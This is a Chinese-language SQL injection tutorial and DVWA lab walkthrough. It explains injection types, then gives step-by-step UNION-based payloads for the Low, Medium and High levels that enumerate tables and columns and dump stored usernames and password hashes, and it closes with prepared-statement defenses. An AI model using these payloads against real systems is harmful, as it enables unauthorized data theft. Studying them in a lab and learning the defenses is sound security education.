目录
1. 使用预处理语句(Prepared Statements)
概念:
SQL 注入(SQL Injection)是一种常见且危害严重的 Web 安全漏洞,指攻击者通过在应用程序的输入字段(如 URL 参数、表单输入等)中,插入精心构造的恶意 SQL 语句,从而改变原本 SQL 查询的执行逻辑,达到非法获取、篡改、删除数据,甚至获取服务器权限等目的。
产生原因:
本质上是由于应用程序对用户输入的信任,未对用户输入进行有效验证、过滤或转义,就直接将其拼接进 SQL 语句中。这样攻击者可以通过构造特殊的输入,改变原本 SQL 语句的执行逻辑,使其执行恶意的 SQL 操作,从而绕过身份验证、窃取数据、篡改数据、删除数据甚至获取服务器权限。
危害:
- 数据泄露:攻击者能够获取数据库中的敏感信息,如用户的登录凭证(用户名、密码)、身份证号、银行卡号等,用于进一步的非法活动,如盗刷银行卡、窃取用户隐私。
- 数据篡改:可以修改数据库中的数据,例如修改用户订单信息、篡改系统配置数据,影响业务的正常运行,给企业或用户带来经济损失。
- 数据删除:利用注入漏洞删除数据库中的关键表或数据,导致业务系统无法正常运行,恢复数据难度大、成本高,可能造成业务中断和客户流失。
- 权限提升:在一些情况下,攻击者可以利用 SQL 注入漏洞,获取数据库服务器的更高权限,进而控制整个服务器,安装恶意软件、进行网络攻击等。
- 破坏网站正常运行:通过注入恶意代码,破坏网站的页面显示,使其无法正常提供服务,影响用户体验,损害企业形象。
类型:
基于注入方式:
堆叠查询注入
- 原理:攻击者可以在一个 SQL 请求中执行多条 SQL 语句,不同语句之间用分号分隔。例如,
SELECT * FROM users; DROP TABLE users;
,如果应用程序没有对输入进行严格过滤,就可能导致users
表被删除。 - 示例:在某些支持多语句执行的数据库环境中,攻击者通过精心构造的输入,同时执行多个 SQL 操作,破坏数据库结构或数据。
联合查询注入
- 原理:通过
UNION
关键字将恶意的查询与原本的查询进行合并。UNION
操作要求前后两个查询的列数必须一致,攻击者利用这个特性,构造第二个查询来获取想要的信息, 比如数据库版本、用户信息等。 - 示例:假设原本的 SQL 查询是
SELECT name, age FROM users WHERE id = '$id'
,当攻击者输入1 UNION SELECT version(), user()
,最终执行的 SQL 变为SELECT name, age FROM users WHERE id = '1 UNION SELECT version(), user()'
,就会返回数据库版本号和当前用户等信息。
基于回显:
布尔盲注
- 原理:攻击者无法直接看到 SQL 查询的结果,只能根据页面返回的不同信息(如页面是否正常显示、返回的 HTTP 状态码等)来判断注入语句是否成功。攻击者构造带有条件判断的 SQL 语句,根据返回结果推断数据库中的数据。比如,构造
SELECT * FROM users WHERE username = 'admin' AND LENGTH(password) > 5 -- '
,通过观察页面是否有变化,判断管理员密码长度是否大于 5 。 - 示例:在一个登录页面,通过构造不同的用户名和密码组合,根据页面提示 “用户名或密码错误” 是否改变,来推断数据库中的数据。
时间盲注
- 原理:同样是在无法直接获取查询结果的情况下,利用条件判断语句结合
SLEEP()
等函数,根据页面响应时间来判断注入条件是否成立。例如,构造SELECT * FROM users WHERE username = 'admin' AND IF(LENGTH(password) > 5, SLEEP(5), 0) -- '
,如果页面响应时间超过 5 秒,就可以推断管理员密码长度大于 5 。 - 示例:在一个对响应时间敏感的 Web 应用中,使用脚本不断发送构造的注入请求,根据响应时间推断数据库信息。
显错注入
- 原理:利用数据库的报错机制,通过构造特定的 SQL 语句,让数据库执行时产生错误,并将错误信息回显在页面上,攻击者可以从这些错误信息中获取到数据库的相关信息,如数据库版本、表名、列名等。
- 示例:在 MySQL 中,利用
UPDATEXML
函数构造恶意 SQL,如SELECT * FROM users WHERE id = 1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)
,如果数据库版本支持该函数,就会触发报错,报错信息中会显示当前数据库名。
基于注入位置:
数字型注入
- 原理:当应用程序将用户输入直接拼接进 SQL 查询中,且该输入对应的数据库字段为数字类型时,就可能发生数字型注入。在这种情况下,不需要闭合引号,攻击者通过构造特殊的数字值来改变 SQL 语句的逻辑 。例如,原本的 SQL 查询是
SELECT * FROM users WHERE id = $id
,如果用户输入1 OR 1=1
,最终执行的 SQL 变为SELECT * FROM users WHERE id = 1 OR 1=1
,这样会返回所有用户记录。 - 示例:在 PHP 中,错误的代码实现如
$id = $_GET['id'];
$sql="SELECT * FROM users WHERE id = $id";
字符型注入
- 原理:若数据库字段是字符类型,攻击者需要闭合 SQL 语句中的单引号或双引号,来改变查询逻辑。例如,原始查询为
SELECT * FROM users WHERE username = '$username'
,当用户输入' OR '1'='1
,最终执行的 SQL 变为SELECT * FROM users WHERE username = '' OR '1'='1'
,这同样会返回所有用户记录。 - 示例:PHP 代码中,
$username = $_GET['username']; $sql = "SELECT * FROM users WHERE username = '$username'";
GET 型注入
- 原理:攻击者通过修改 URL 中的参数,将恶意的 SQL 代码作为参数值传递给服务器,服务器未对参数进行有效过滤和处理,从而导致 SQL 注入漏洞被触发。
- 示例:对于 URL
http://example.com/index.php?id=1
,攻击者修改为http://example.com/index.php?id=1 UNION SELECT 1,2,3
,如果后端代码直接将id
参数拼接到 SQL 查询中,就可能触发注入。
POST 型注入
- 原理:攻击者通过表单提交等方式,将恶意的 SQL 代码放在 POST 请求的数据中,服务器接收并处理这些数据时,如果没有对 POST 数据进行严格验证,就会导致 SQL 注入。
示例:在登录表单中,输入用户名 admin' OR '1'='1
,密码随意填写,提交表单后,如果后端代码将用户名直接拼接到 SQL 查询中,就可能绕过登录验证。
Cookie 型注入
- 原理:攻击者通过修改 Cookie 中的值,将恶意的 SQL 代码注入其中,服务器在读取 Cookie 值并用于 SQL 查询时,如果没有进行安全处理,就会触发 SQL 注入漏洞。
- 示例:当网站使用 Cookie 记录用户的登录状态,如
userid=1
,攻击者将其修改为userid=1 UNION SELECT 1,2,3
,如果服务器在某些查询中使用了这个 Cookie 值,就可能造成注入。
Low
URL:http://[本地地址:localhost]/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
这时候我们可以看到后端实际执行的语句:
SELECT first_name, last_name FROM users WHERE user_id = '1';
首先这里我们可以看到传到的明文:id=1,可以得知这是“GET型提交”(GET提交特性),接下来我们判断注入类型,这里我们添加了页面回显代码,看出是存在引号封闭的“字符型”注入,我们也可以通过其它方法来判断:
输入:1',1' and '1' ='1 和 1' and '1'='2
经过以上三部试错,我们看得出前后是由引号封闭的。
改写语句:首先插入闭合id值的左单引号,后面跟一个注释符‘#’,如下:
SELECT first_name, last_name FROM users WHERE user_id = '1' [插入的sql语句] #';
那为什么要这么做呢? 因为输入框内输入的值是单引号的值,也就是ID值,例如:
SELECT first_name, last_name FROM users WHERE user_id = '1 order by 3 # ';
注释符在不在这样的语句都是不生效的,显然单引号里的值是不可被解析的。
随意我们需要首先闭合id值,然后拼接查询命令,注释掉原有的右单引号。
继续:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 #';
*order by 3:表示按查询结果的第三列列排序,并且order by默认升序,绕过列名。
按查询结果的第三列排序。但原查询只有两列(first_name
, last_name
),通过错误信息获取数据库结构。
即“order子句”中未知列“3”,接着我们输入2:
执行成功,查询返回的是两个字段,
SELECT first_name, last_name FROM users WHERE user_id = '
1' union select 1,2#
拿到回显位,
这里是要配置union使用,我们继续:
SELECT first_name, last_name FROM users WHERE user_id = '
1' union select 1,database() #
*union关键字:mysql中的union合并查询,左右两边查询的列数要一致(上面我们得知返回两个字段),所以右边要和左边的查询数保持一致,都是两个,
得到数据库名:dvwa,继续拼接语句:
SELECT first_name, last_name FROM users WHERE user_id = '
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
*group_concat(table_name):将所有表名合并为一个字符串。
*information_schema.tables:mysql系统自带的表:存储所有数据库的表信息。
*table_schema=’dvwa’:查询'dvwa'的目标数据库。
NAVICAT查询结果如下:
查到dvwa数据库下的两张表:guestbook,users表 。
接续拼接:
SELECT first_name, last_name FROM users WHERE user_id = '
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
//查询user表中的列
*group_concat(column_name):将所有列名合并为一个字符串。
*information_schema.columns:返回表中的列名
*table_schema=’user’:查询'user'的目标数据库表。
得到User和Password的字段列表,其它忽略。
查询用户和密码:
SELECT first_name, last_name FROM users WHERE user_id = '
1' union select user,password from users#
显然密码是被经过编码过的,像是MD5,这种情况下我们可以在网上找找解码的免费平台做解码(现在很多开始要会员)。
Medium
页面呈现:
这里做了下拉框处理,也就是做了输入限制,我们通过抓包处理:
右键发送到“重发器repeater”,(在重发器repeater里我们不用页面重复操作,直接重新构造SQL语句即可)并修改id,
由此可知,该关卡不涉及单引号封闭,注入类型为数值型,其实从下拉框内选择纯数值型选项也不难看出是数值型注入,SQL语句构造逻辑同low一样:
id=1 order by 3
id=1 order by 2
根据查询结果的第二列排序没有报错,下来我们定位回显位置:
id=1 union select 1,2
我们回显位置1,2位,
id=1 union select database(),version(), 拿到数据库名以及数据库版本
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),拿到dvwa数据表里的两个表名:guestbook,users
union select 1,group_concat(column_name) from information_schema.columns where table_name='users',查询users表中的列(字段)
有报错,单引号被抓换为斜杆,对users做十六进制转换:
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,拿到users表的列名(字段)
union select user,password from users,查询用户名和验证码。
到这里还是通过MD5转码获得明文密码。
High
这次的提交是单独在一个窗口里,没法抓包,我们直接输入探测注入类型,
目前来看是字符型注入,还是一样的套路:1' order by 3#
1' order by 2#
1' union select 1,2#
拿到显示位,
拿到数据库版本和数据库名,1' union select version(),database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
拿到数据库下面的两张表,
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select user,password from users#
拿到用户名和密码,
Impossible
仅作学习参考,引入PHP PDO对sql语句做预处理,有效预防sql注入:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
SQL注入防护
1. 使用预处理语句(Prepared Statements)
原理:将 SQL 逻辑与用户输入分离,数据库自动处理输入转义。
技术:使用 PDO 或 MySQLi 的预处理语句。
php PDO例如:
// 准备查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
// 绑定参数
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
$stmt->bindParam(':password', $password, PDO::PARAM_STR);
// 执行查询
$stmt->execute();
MySQL例如:
// 准备查询
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
// 绑定参数
$stmt->bind_param("ss", $username, $password);
// 执行查询
$stmt->execute();
2. 输入验证与过滤
原理:对用户输入进行严格验证,只允许合法字符。
技术:
- 白名单过滤:仅允许特定字符(如字母、数字)。
- 正则表达式:验证邮箱、URL 等格式。
3. 转义特殊字符
原理:对用户输入中的特殊字符(如单引号)进行转义。
技术:使用 mysqli_real_escape_string()
或 PDO::quote()
。
4. 最小化数据库权限
原理:限制数据库用户的权限,仅授予必要的操作(如只读)。
技术:
- 为应用创建独立的数据库用户。
- 使用
GRANT
精确授权(如仅允许SELECT
特定表)。
5. 避免动态 SQL 拼接
原理:动态拼接 SQL(如 $sql = "SELECT * FROM users WHERE id = $id"
)易受攻击。
替代方案:
- 使用预处理语句。
- 如果必须拼接,严格验证输入类型。
// 不要这样做!
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
6.防御性编程
原则:
- 类型检查:确保数字参数是整数类型。
php
$id = (int)$_GET['id']; // 强制转换为整数
- 输入长度限制:限制字符串最大长度,防止超长注入。
- 使用存储过程:部分存储过程可增强 SQL 安全性(需配合参数化)。
7. 错误处理优化
原理:避免向用户暴露详细的数据库错误信息。
技术:
// PHP 配置
ini_set('display_errors', 0);
error_reporting(E_ALL);
- 生产环境关闭错误显示(如
display_errors = Off
)。 - 记录错误日志而非直接输出。
总结
最有效防护组合:
✅ 预处理语句(优先) + ✅ 输入验证 + ✅ 最小权限 + ✅ 错误处理